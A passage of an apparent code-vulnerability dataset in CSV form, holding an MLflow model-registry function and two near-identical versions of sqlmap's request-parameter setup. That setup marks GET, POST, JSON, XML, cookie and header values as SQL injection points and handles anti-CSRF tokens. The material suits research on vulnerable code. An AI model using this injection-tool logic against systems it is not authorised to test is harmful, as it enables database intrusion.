                params = {""n_estimators"": 6, ""random_state"": 42}
                rfr = RandomForestRegressor(**params).fit(X, y)
                signature = infer_signature(X, rfr.predict(X))
                mlflow.log_params(params)
                mlflow.sklearn.log_model(rfr, artifact_path=""sklearn-model"", signature=signature)

            # Register model name in the model registry
            name = ""RandomForestRegression""
            client = MlflowClient()
            client.create_registered_model(name)

            # Create a two versions of the rfr model under the registered model name
            for run_id in [run1.info.run_id, run2.info.run_id]:
                model_uri = ""runs:/{}/sklearn-model"".format(run_id)
                mv = client.create_model_version(name, model_uri, run_id)
                print(""model version {} created"".format(mv.version))

            # Fetch latest version; this will be version 2
            print(""--"")
            print_models_info(client.get_latest_versions(name, stages=[""None""]))

        .. code-block:: text
            :caption: Output

            model version 1 created
            model version 2 created
            --
            name: RandomForestRegression
            latest version: 2
            run_id: 31165664be034dc698c52a4bdeb71663
            current_stage: None
        """"""
        return self._get_registry_client().get_latest_versions(name, stages)",,mlflow/mlflow,9a1feb352791320a2d2f72a016186cf10f68e9dc,"def get_latest_versions(self, name: str, stages: List[str] = None) -> List[ModelVersion]:
        """"""
        Latest version models for each requests stage. If no ``stages`` provided, returns the
        latest version for each stage.

        :param name: Name of the registered model from which to get the latest versions.
        :param stages: List of desired stages. If input list is None, return latest versions for
                       for ALL_STAGES.
        :return: List of :py:class:`mlflow.entities.model_registry.ModelVersion` objects.

        .. code-block:: python
            :caption: Example

            import mlflow.sklearn
            from mlflow import MlflowClient
            from mlflow.models.signature import infer_signature
            from sklearn.datasets import make_regression
            from sklearn.ensemble import RandomForestRegressor


            def print_models_info(mv):
                for m in mv:
                    print(""name: {}"".format(m.name))
                    print(""latest version: {}"".format(m.version))
                    print(""run_id: {}"".format(m.run_id))
                    print(""current_stage: {}"".format(m.current_stage))


            mlflow.set_tracking_uri(""sqlite:///mlruns.db"")
            X, y = make_regression(n_features=4, n_informative=2, random_state=0, shuffle=False)

            # Create two runs Log MLflow entities
            with mlflow.start_run() as run1:
                params = {""n_estimators"": 3, ""random_state"": 42}
                rfr = RandomForestRegressor(**params).fit(X, y)
                signature = infer_signature(X, rfr.predict(X))
                mlflow.log_params(params)
                mlflow.sklearn.log_model(rfr, artifact_path=""sklearn-model"", signature=signature)

            with mlflow.start_run() as run2:
                params = {""n_estimators"": 6, ""random_state"": 42}
                rfr = RandomForestRegressor(**params).fit(X, y)
                signature = infer_signature(X, rfr.predict(X))
                mlflow.log_params(params)
                mlflow.sklearn.log_model(rfr, artifact_path=""sklearn-model"", signature=signature)

            # Register model name in the model registry
            name = ""RandomForestRegression""
            client = MlflowClient()
            client.create_registered_model(name)

            # Create a two versions of the rfr model under the registered model name
            for run_id in [run1.info.run_id, run2.info.run_id]:
                model_uri = ""runs:/{}/sklearn-model"".format(run_id)
                mv = client.create_model_version(name, model_uri, run_id)
                print(""model version {} created"".format(mv.version))

            # Fetch latest version; this will be version 2
            print(""--"")
            print_models_info(client.get_latest_versions(name, stages=[""None""]))

        .. code-block:: text
            :caption: Output

            model version 1 created
            model version 2 created
            --
            name: RandomForestRegression
            latest version: 2
            run_id: 31165664be034dc698c52a4bdeb71663
            current_stage: None
        """"""
        return self._get_registry_client().get_latest_versions(name, stages)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/target.py,0,"def _setRequestParams():
    """"""
    Check and set the parameters and perform checks on 'data' option for
    HTTP method POST.
    """"""

    if conf.direct:
        conf.parameters[None] = ""direct connection""
        return

    hintNames = []
    testableParameters = False

    # Perform checks on GET parameters
    if conf.parameters.get(PLACE.GET):
        parameters = conf.parameters[PLACE.GET]
        paramDict = paramToDict(PLACE.GET, parameters)

        if paramDict:
            conf.paramDict[PLACE.GET] = paramDict
            testableParameters = True

    # Perform checks on POST parameters
    if conf.method == HTTPMETHOD.POST and conf.data is None:
        logger.warning(""detected empty POST body"")
        conf.data = """"

    if conf.data is not None:
        conf.method = conf.method or HTTPMETHOD.POST

        def process(match, repl):
            retVal = match.group(0)

            if not (conf.testParameter and match.group(""name"") not in (removePostHintPrefix(_) for _ in conf.testParameter)) and match.group(""name"") == match.group(""name"").strip('\\'):
                retVal = repl
                while True:
                    _ = re.search(r""\\g<([^>]+)>"", retVal)
                    if _:
                        try:
                            retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
                        except IndexError:
                            break
                    else:
                        break
                if kb.customInjectionMark in retVal:
                    hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group(""name"").strip('""\'') if kb.postHint == POST_HINT.JSON_LIKE else match.group(""name"")))

            return retVal

        if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
            message = ""custom injection marker ('%s') found in %s "" % (kb.customInjectionMark, conf.method)
            message += ""body. Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            else:
                kb.processUserMarks = choice == 'Y'

                if kb.processUserMarks:
                    kb.testOnlyCustom = True

        if re.search(JSON_RECOGNITION_REGEX, conf.data):
            message = ""JSON data found in %s body. "" % conf.method
            message += ""Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                kb.postHint = POST_HINT.JSON
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    conf.data = re.sub(r'(""(?P<name>[^""]+)""\s*:\s*"".*?)""(?<!\\"")', functools.partial(process, repl=r'\g<1>%s""' % kb.customInjectionMark), conf.data)
                    conf.data = re.sub(r'(""(?P<name>[^""]+)""\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
                    conf.data = re.sub(r'(""(?P<name>[^""]+)""\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
                    for match in re.finditer(r'(?P<name>[^""]+)""\s*:\s*\[([^\]]+)\]', conf.data):
                        if not (conf.testParameter and match.group(""name"") not in conf.testParameter):
                            _ = match.group(2)
                            if kb.customInjectionMark not in _:  # Note: only for unprocessed (simple) forms - i.e. non-associative arrays (e.g. [1,2,3])
                                _ = re.sub(r'(""[^""]+)""', r'\g<1>%s""' % kb.customInjectionMark, _)
                                _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
                                conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))

        elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
            message = ""JSON-like data found in %s body. "" % conf.method
            message += ""Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                kb.postHint = POST_HINT.JSON_LIKE
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    if '""' in conf.data:
                        conf.data = re.sub(r'((?P<name>""[^""]+""|\w+)\s*:\s*""[^""]+)""', functools.partial(process, repl=r'\g<1>%s""' % kb.customInjectionMark), conf.data)
                        conf.data = re.sub(r'((?P<name>""[^""]+""|\w+)\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark), conf.data)
                    else:
                        conf.data = re.sub(r""((?P<name>'[^']+'|\w+)\s*:\s*'[^']+)'"", functools.partial(process, repl=r""\g<1>%s'"" % kb.customInjectionMark), conf.data)
                        conf.data = re.sub(r""((?P<name>'[^']+'|\w+)\s*:\s*)(-?\d[\d\.]*\b)"", functools.partial(process, repl=r""\g<0>%s"" % kb.customInjectionMark), conf.data)

        elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
            message = ""Array-like data found in %s body. "" % conf.method
            message += ""Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                kb.postHint = POST_HINT.ARRAY_LIKE
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    conf.data = re.sub(r""(=[^%s]+)"" % DEFAULT_GET_POST_DELIMITER, r""\g<1>%s"" % kb.customInjectionMark, conf.data)

        elif re.search(XML_RECOGNITION_REGEX, conf.data):
            message = ""SOAP/XML data found in %s body. "" % conf.method
            message += ""Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                kb.postHint = POST_HINT.SOAP if ""soap"" in conf.data.lower() else POST_HINT.XML
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    conf.data = re.sub(r""(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)"", functools.partial(process, repl=r""\g<1>\g<4>%s\g<5>"" % kb.customInjectionMark), conf.data)

        elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
            message = ""Multipart-like data found in %s body. "" % conf.method
            message += ""Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                kb.postHint = POST_HINT.MULTIPART
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    conf.data = re.sub(r""(?si)((Content-Disposition[^\n]+?name\s*=\s*[\""']?(?P<name>[^\""'\r\n]+)[\""']?).+?)((%s)+--)"" % (""\r\n"" if ""\r\n"" in conf.data else '\n'), functools.partial(process, repl=r""\g<1>%s\g<4>"" % kb.customInjectionMark), conf.data)

        if not kb.postHint:
            if kb.customInjectionMark in conf.data:  # later processed
                pass
            else:
                place = PLACE.POST

                conf.parameters[place] = conf.data
                paramDict = paramToDict(place, conf.data)

                if paramDict:
                    conf.paramDict[place] = paramDict
                    testableParameters = True
        else:
            if kb.customInjectionMark not in conf.data:  # in case that no usable parameter values has been found
                conf.parameters[PLACE.POST] = conf.data

    kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or """")) else kb.processUserMarks

    if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or """") and conf.url.startswith(""http""):
        warnMsg = ""you've provided target URL without any GET ""
        warnMsg += ""parameters (e.g. 'http://www.site.com/article.php?id=1') ""
        warnMsg += ""and without providing any POST parameters ""
        warnMsg += ""through option '--data'""
        logger.warning(warnMsg)

        message = ""do you want to try URI injections ""
        message += ""in the target URL itself? [Y/n/q] ""
        choice = readInput(message, default='Y').upper()

        if choice == 'Q':
            raise SqlmapUserQuitException
        elif choice == 'Y':
            conf.url = ""%s%s"" % (conf.url, kb.customInjectionMark)
            kb.processUserMarks = True

    for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
        if place == PLACE.CUSTOM_HEADER and any((conf.forms, conf.crawlDepth)):
            continue

        _ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, """", value or """") if place == PLACE.CUSTOM_HEADER else value or """"
        if kb.customInjectionMark in _:
            if kb.processUserMarks is None:
                lut = {PLACE.URI: '-u', PLACE.CUSTOM_POST: '--data', PLACE.CUSTOM_HEADER: '--headers/--user-agent/--referer/--cookie'}
                message = ""custom injection marker ('%s') found in option "" % kb.customInjectionMark
                message += ""'%s'. Do you want to process it? [Y/n/q] "" % lut[place]
                choice = readInput(message, default='Y').upper()

                if choice == 'Q':
                    raise SqlmapUserQuitException
                else:
                    kb.processUserMarks = choice == 'Y'

                    if kb.processUserMarks:
                        kb.testOnlyCustom = True

                        if ""=%s"" % kb.customInjectionMark in _:
                            warnMsg = ""it seems that you've provided empty parameter value(s) ""
                            warnMsg += ""for testing. Please, always use only valid parameter values ""
                            warnMsg += ""so sqlmap could be able to run properly""
                            logger.warning(warnMsg)

            if not kb.processUserMarks:
                if place == PLACE.URI:
                    query = _urllib.parse.urlsplit(value).query
                    if query:
                        parameters = conf.parameters[PLACE.GET] = query
                        paramDict = paramToDict(PLACE.GET, parameters)

                        if paramDict:
                            conf.url = conf.url.split('?')[0]
                            conf.paramDict[PLACE.GET] = paramDict
                            testableParameters = True
                elif place == PLACE.CUSTOM_POST:
                    conf.parameters[PLACE.POST] = conf.data
                    paramDict = paramToDict(PLACE.POST, conf.data)

                    if paramDict:
                        conf.paramDict[PLACE.POST] = paramDict
                        testableParameters = True

            else:
                if place == PLACE.URI:
                    value = conf.url = conf.url.replace('+', ""%20"")  # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5123

                conf.parameters[place] = value
                conf.paramDict[place] = OrderedDict()

                if place == PLACE.CUSTOM_HEADER:
                    for index in xrange(len(conf.httpHeaders)):
                        header, value = conf.httpHeaders[index]
                        if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, """", value):
                            parts = value.split(kb.customInjectionMark)
                            for i in xrange(len(parts) - 1):
                                conf.paramDict[place][""%s #%d%s"" % (header, i + 1, kb.customInjectionMark)] = ""%s,%s"" % (header, """".join(""%s%s"" % (parts[j], kb.customInjectionMark if i == j else """") for j in xrange(len(parts))))
                            conf.httpHeaders[index] = (header, value.replace(kb.customInjectionMark, """"))
                else:
                    parts = value.split(kb.customInjectionMark)

                    for i in xrange(len(parts) - 1):
                        name = None
                        if kb.postHint:
                            for ending, _ in hintNames:
                                if parts[i].endswith(ending):
                                    name = ""%s %s"" % (kb.postHint, _)
                                    break
                        if name is None:
                            name = ""%s#%s%s"" % ((""%s "" % kb.postHint) if kb.postHint else """", i + 1, kb.customInjectionMark)
                        conf.paramDict[place][name] = """".join(""%s%s"" % (parts[j], kb.customInjectionMark if i == j else """") for j in xrange(len(parts)))

                    if place == PLACE.URI and PLACE.GET in conf.paramDict:
                        del conf.paramDict[PLACE.GET]
                    elif place == PLACE.CUSTOM_POST and PLACE.POST in conf.paramDict:
                        del conf.paramDict[PLACE.POST]

                testableParameters = True

    if kb.processUserMarks:
        for item in (""url"", ""data"", ""agent"", ""referer"", ""cookie""):
            if conf.get(item):
                conf[item] = conf[item].replace(kb.customInjectionMark, """")

    # Perform checks on Cookie parameters
    if conf.cookie:
        conf.parameters[PLACE.COOKIE] = conf.cookie
        paramDict = paramToDict(PLACE.COOKIE, conf.cookie)

        if paramDict:
            conf.paramDict[PLACE.COOKIE] = paramDict
            testableParameters = True

    # Perform checks on header values
    if conf.httpHeaders:
        for httpHeader, headerValue in list(conf.httpHeaders):
            # Url encoding of the header values should be avoided
            # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value

            if httpHeader.upper() == HTTP_HEADER.USER_AGENT.upper():
                conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue)

                condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True)))

                if condition:
                    conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue}
                    testableParameters = True

            elif httpHeader.upper() == HTTP_HEADER.REFERER.upper():
                conf.parameters[PLACE.REFERER] = urldecode(headerValue)

                condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True)))

                if condition:
                    conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue}
                    testableParameters = True

            elif httpHeader.upper() == HTTP_HEADER.HOST.upper():
                conf.parameters[PLACE.HOST] = urldecode(headerValue)

                condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True)))

                if condition:
                    conf.paramDict[PLACE.HOST] = {PLACE.HOST: headerValue}
                    testableParameters = True

            else:
                condition = intersect(conf.testParameter, [httpHeader], True)

                if condition:
                    conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders)
                    conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: ""%s,%s%s"" % (httpHeader, headerValue, kb.customInjectionMark)}
                    conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, """")) for _ in conf.httpHeaders]
                    testableParameters = True

    if not conf.parameters:
        errMsg = ""you did not provide any GET, POST and Cookie ""
        errMsg += ""parameter, neither an User-Agent, Referer or Host header value""
        raise SqlmapGenericException(errMsg)

    elif not testableParameters:
        errMsg = ""all testable parameters you provided are not present ""
        errMsg += ""within the given request data""
        raise SqlmapGenericException(errMsg)

    if conf.csrfToken:
        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r""\b%s\b"" % conf.csrfToken, conf.data or """") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
            errMsg = ""anti-CSRF token parameter '%s' not "" % conf.csrfToken._original
            errMsg += ""found in provided GET, POST, Cookie or header values""
            raise SqlmapGenericException(errMsg)
    else:
        for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE):
            if conf.csrfToken:
                break

            for parameter in conf.paramDict.get(place, {}):
                if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES):
                    message = ""%sparameter '%s' appears to hold anti-CSRF token. "" % (""%s "" % place if place != parameter else """", parameter)
                    message += ""Do you want sqlmap to automatically update it in further requests? [y/N] ""

                    if readInput(message, default='N', boolean=True):
                        class _(six.text_type):
                            pass
                        conf.csrfToken = _(re.escape(getUnicode(parameter)))
                        conf.csrfToken._original = getUnicode(parameter)
                        break",,sqlmapproject/sqlmap,257c4d1c88fc281dbbd63c0fa6bb927f418ee57f,"def _setRequestParams():
    """"""
    Check and set the parameters and perform checks on 'data' option for
    HTTP method POST.
    """"""

    if conf.direct:
        conf.parameters[None] = ""direct connection""
        return

    hintNames = []
    testableParameters = False

    # Perform checks on GET parameters
    if conf.parameters.get(PLACE.GET):
        parameters = conf.parameters[PLACE.GET]
        paramDict = paramToDict(PLACE.GET, parameters)

        if paramDict:
            conf.paramDict[PLACE.GET] = paramDict
            testableParameters = True

    # Perform checks on POST parameters
    if conf.method == HTTPMETHOD.POST and conf.data is None:
        logger.warning(""detected empty POST body"")
        conf.data = """"

    if conf.data is not None:
        conf.method = conf.method or HTTPMETHOD.POST

        def process(match, repl):
            retVal = match.group(0)

            if not (conf.testParameter and match.group(""name"") not in (removePostHintPrefix(_) for _ in conf.testParameter)) and match.group(""name"") == match.group(""name"").strip('\\'):
                retVal = repl
                while True:
                    _ = re.search(r""\\g<([^>]+)>"", retVal)
                    if _:
                        try:
                            retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
                        except IndexError:
                            break
                    else:
                        break
                if kb.customInjectionMark in retVal:
                    hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group(""name"").strip('""\'') if kb.postHint == POST_HINT.JSON_LIKE else match.group(""name"")))

            return retVal

        if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
            message = ""custom injection marker ('%s') found in %s "" % (kb.customInjectionMark, conf.method)
            message += ""body. Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            else:
                kb.processUserMarks = choice == 'Y'

                if kb.processUserMarks:
                    kb.testOnlyCustom = True

        if re.search(JSON_RECOGNITION_REGEX, conf.data):
            message = ""JSON data found in %s body. "" % conf.method
            message += ""Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                kb.postHint = POST_HINT.JSON
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    conf.data = re.sub(r'(""(?P<name>[^""]+)""\s*:\s*"".+?)""(?<!\\"")', functools.partial(process, repl=r'\g<1>%s""' % kb.customInjectionMark), conf.data)
                    conf.data = re.sub(r'(""(?P<name>[^""]+)""\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
                    conf.data = re.sub(r'(""(?P<name>[^""]+)""\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
                    for match in re.finditer(r'(?P<name>[^""]+)""\s*:\s*\[([^\]]+)\]', conf.data):
                        if not (conf.testParameter and match.group(""name"") not in conf.testParameter):
                            _ = match.group(2)
                            if kb.customInjectionMark not in _:  # Note: only for unprocessed (simple) forms - i.e. non-associative arrays (e.g. [1,2,3])
                                _ = re.sub(r'(""[^""]+)""', r'\g<1>%s""' % kb.customInjectionMark, _)
                                _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
                                conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))

        elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
            message = ""JSON-like data found in %s body. "" % conf.method
            message += ""Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                kb.postHint = POST_HINT.JSON_LIKE
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    if '""' in conf.data:
                        conf.data = re.sub(r'((?P<name>""[^""]+""|\w+)\s*:\s*""[^""]+)""', functools.partial(process, repl=r'\g<1>%s""' % kb.customInjectionMark), conf.data)
                        conf.data = re.sub(r'((?P<name>""[^""]+""|\w+)\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark), conf.data)
                    else:
                        conf.data = re.sub(r""((?P<name>'[^']+'|\w+)\s*:\s*'[^']+)'"", functools.partial(process, repl=r""\g<1>%s'"" % kb.customInjectionMark), conf.data)
                        conf.data = re.sub(r""((?P<name>'[^']+'|\w+)\s*:\s*)(-?\d[\d\.]*\b)"", functools.partial(process, repl=r""\g<0>%s"" % kb.customInjectionMark), conf.data)

        elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
            message = ""Array-like data found in %s body. "" % conf.method
            message += ""Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                kb.postHint = POST_HINT.ARRAY_LIKE
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    conf.data = re.sub(r""(=[^%s]+)"" % DEFAULT_GET_POST_DELIMITER, r""\g<1>%s"" % kb.customInjectionMark, conf.data)

        elif re.search(XML_RECOGNITION_REGEX, conf.data):
            message = ""SOAP/XML data found in %s body. "" % conf.method
            message += ""Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                kb.postHint = POST_HINT.SOAP if ""soap"" in conf.data.lower() else POST_HINT.XML
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    conf.data = re.sub(r""(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)"", functools.partial(process, repl=r""\g<1>\g<4>%s\g<5>"" % kb.customInjectionMark), conf.data)

        elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
            message = ""Multipart-like data found in %s body. "" % conf.method
            message += ""Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                kb.postHint = POST_HINT.MULTIPART
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    conf.data = re.sub(r""(?si)((Content-Disposition[^\n]+?name\s*=\s*[\""']?(?P<name>[^\""'\r\n]+)[\""']?).+?)((%s)+--)"" % (""\r\n"" if ""\r\n"" in conf.data else '\n'), functools.partial(process, repl=r""\g<1>%s\g<4>"" % kb.customInjectionMark), conf.data)

        if not kb.postHint:
            if kb.customInjectionMark in conf.data:  # later processed
                pass
            else:
                place = PLACE.POST

                conf.parameters[place] = conf.data
                paramDict = paramToDict(place, conf.data)

                if paramDict:
                    conf.paramDict[place] = paramDict
                    testableParameters = True
        else:
            if kb.customInjectionMark not in conf.data:  # in case that no usable parameter values has been found
                conf.parameters[PLACE.POST] = conf.data

    kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or """")) else kb.processUserMarks

    if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or """") and conf.url.startswith(""http""):
        warnMsg = ""you've provided target URL without any GET ""
        warnMsg += ""parameters (e.g. 'http://www.site.com/article.php?id=1') ""
        warnMsg += ""and without providing any POST parameters ""
        warnMsg += ""through option '--data'""
        logger.warning(warnMsg)

        message = ""do you want to try URI injections ""
        message += ""in the target URL itself? [Y/n/q] ""
        choice = readInput(message, default='Y').upper()

        if choice == 'Q':
            raise SqlmapUserQuitException
        elif choice == 'Y':
            conf.url = ""%s%s"" % (conf.url, kb.customInjectionMark)
            kb.processUserMarks = True

    for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
        if place == PLACE.CUSTOM_HEADER and any((conf.forms, conf.crawlDepth)):
            continue

        _ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, """", value or """") if place == PLACE.CUSTOM_HEADER else value or """"
        if kb.customInjectionMark in _:
            if kb.processUserMarks is None:
                lut = {PLACE.URI: '-u', PLACE.CUSTOM_POST: '--data', PLACE.CUSTOM_HEADER: '--headers/--user-agent/--referer/--cookie'}
                message = ""custom injection marker ('%s') found in option "" % kb.customInjectionMark
                message += ""'%s'. Do you want to process it? [Y/n/q] "" % lut[place]
                choice = readInput(message, default='Y').upper()

                if choice == 'Q':
                    raise SqlmapUserQuitException
                else:
                    kb.processUserMarks = choice == 'Y'

                    if kb.processUserMarks:
                        kb.testOnlyCustom = True

                        if ""=%s"" % kb.customInjectionMark in _:
                            warnMsg = ""it seems that you've provided empty parameter value(s) ""
                            warnMsg += ""for testing. Please, always use only valid parameter values ""
                            warnMsg += ""so sqlmap could be able to run properly""
                            logger.warning(warnMsg)

            if not kb.processUserMarks:
                if place == PLACE.URI:
                    query = _urllib.parse.urlsplit(value).query
                    if query:
                        parameters = conf.parameters[PLACE.GET] = query
                        paramDict = paramToDict(PLACE.GET, parameters)

                        if paramDict:
                            conf.url = conf.url.split('?')[0]
                            conf.paramDict[PLACE.GET] = paramDict
                            testableParameters = True
                elif place == PLACE.CUSTOM_POST:
                    conf.parameters[PLACE.POST] = conf.data
                    paramDict = paramToDict(PLACE.POST, conf.data)

                    if paramDict:
                        conf.paramDict[PLACE.POST] = paramDict
                        testableParameters = True

            else:
                if place == PLACE.URI:
                    value = conf.url = conf.url.replace('+', ""%20"")  # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5123

                conf.parameters[place] = value
                conf.paramDict[place] = OrderedDict()

                if place == PLACE.CUSTOM_HEADER:
                    for index in xrange(len(conf.httpHeaders)):
                        header, value = conf.httpHeaders[index]
                        if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, """", value):
                            parts = value.split(kb.customInjectionMark)
                            for i in xrange(len(parts) - 1):
                                conf.paramDict[place][""%s #%d%s"" % (header, i + 1, kb.customInjectionMark)] = ""%s,%s"" % (header, """".join(""%s%s"" % (parts[j], kb.customInjectionMark if i == j else """") for j in xrange(len(parts))))
                            conf.httpHeaders[index] = (header, value.replace(kb.customInjectionMark, """"))
                else:
                    parts = value.split(kb.customInjectionMark)

                    for i in xrange(len(parts) - 1):
                        name = None
                        if kb.postHint:
                            for ending, _ in hintNames:
                                if parts[i].endswith(ending):
                                    name = ""%s %s"" % (kb.postHint, _)
                                    break
                        if name is None:
                            name = ""%s#%s%s"" % ((""%s "" % kb.postHint) if kb.postHint else """", i + 1, kb.customInjectionMark)
                        conf.paramDict[place][name] = """".join(""%s%s"" % (parts[j], kb.customInjectionMark if i == j else """") for j in xrange(len(parts)))

                    if place == PLACE.URI and PLACE.GET in conf.paramDict:
                        del conf.paramDict[PLACE.GET]
